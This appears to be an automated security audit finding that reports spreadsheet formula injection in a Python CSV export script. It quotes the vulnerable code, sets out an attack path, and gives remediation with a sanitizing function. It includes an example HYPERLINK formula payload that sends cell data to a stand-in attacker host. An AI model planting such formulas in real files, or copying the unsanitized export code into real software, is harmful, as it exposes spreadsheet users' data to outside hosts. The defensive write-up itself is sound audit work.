T09 · Insecure Skill Coding Practices
- Location
scripts/append_csv.py:42- Finding
Spreadsheet Formula Injection in Generated Production CSV Files
- Content
View full analysis
Vulnerability Details
File Location:
scripts/append_csv.py, lines 42-47
Vulnerability Type: CSV/spreadsheet formula injection
Risk Level: MediumVulnerable Code
python with open(prod_path, 'w', encoding=enc, newline='') as f: writer = csv.writer(f) writer.writerow(headers) writer.writerows(prod_rows) for row in new_rows: out_row = [row.get(fn, '') for fn in fieldnames] writer.writerow(out_row)Technical Analysis
The script writes contract-derived values directly into a production CSV file without neutralizing spreadsheet formula prefixes. Values beginning with characters such as
=,+,-, or@may be interpreted as formulas when the resulting file is opened in spreadsheet applications.CSV quoting performed by
csv.writerdoes not prevent formula evaluation. An attacker who controls a field in an imported contract or source CSV could supply content such as:text =HYPERLINK("https://attacker.example/collect?data="&A1,"View")The exact behavior depends on the spreadsheet client and its security configuration. Exploitation therefore requires a user to open the generated CSV in an application that evaluates the malicious formula.
Attack Path
- An attacker places a spreadsheet formula in a contract field or another imported data source.
- The extraction process preserves that value as field content.
append_to_production()writes the value to the production CSV without formula sanitization.- An operator opens the generated CSV using spreadsheet software.
- The spreadsheet interprets the attacker-controlled value as a formula.
- Depending on client capabilities and security settings, the formula may initiate an external request, expose spreadsheet data, mislead the operator, or invoke unsafe functionality.
Impact Assessment
Successful exploitation occurs in the context of the user opening the CSV, not in the Python process that generates it. Potential impact in ...[truncated 524 chars]
- Remediation
View remediation
Remediation Suggestions
- Sanitize every untrusted cell before passing it to
csv.writer. - Prefix values beginning with
=,+,-, or@with an apostrophe or another application-compatible neutralization character. - Consider tab, carriage-return, and line-feed handling because some spreadsheet clients ignore leading whitespace before formula markers.
- Apply the same validation to existing production rows if they may also contain untrusted content.
- Add automated tests covering all dangerous prefixes and representative spreadsheet clients.
- If formula support is unnecessary, export to a format or workflow that explicitly treats all imported fields as text.
Example hardening logic:
python def sanitize_csv_cell(value): if value is None: return '' value = str(value) stripped = value.lstrip('\t\r\n ') if stripped.startswith(('=', '+', '-', '@')): return "'" + value return value out_row = [ sanitize_csv_cell(row.get(fn, '')) for fn in fieldnames ]- Sanitize every untrusted cell before passing it to
